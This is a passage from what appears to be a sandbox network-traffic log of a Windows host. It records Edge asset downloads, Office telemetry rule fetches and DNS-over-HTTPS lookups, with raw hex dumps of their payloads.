}9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49882	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:47 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: d81471c5-b01e-0075-32c3-34efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160747Z-17df447cdb5bz95mhC1DFWnk7w0000000c5g000000006s6e Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 16:07:47 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-12 16:07:48 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:47 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160747Z-16547b76f7fm7xw6hC1DFW5px40000000fwg0000000001k9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: c860c668-d01e-007a-07a3-34f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160747Z-17df447cdb54ntx4hC1DFW2k400000000cn0000000005t26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 21399fcf-c01e-008e-25a8-347381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160747Z-17df447cdb57srlrhC1DFWwgas0000000cr0000000003qfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:47 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160747Z-16547b76f7fp6mhthC1DFWrggn0000000g10000000005knw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49887	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6eb48f92e21-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 94 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49888	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6eb6e9e4624-DFW alt-svc: h3=":443"; ma=86400
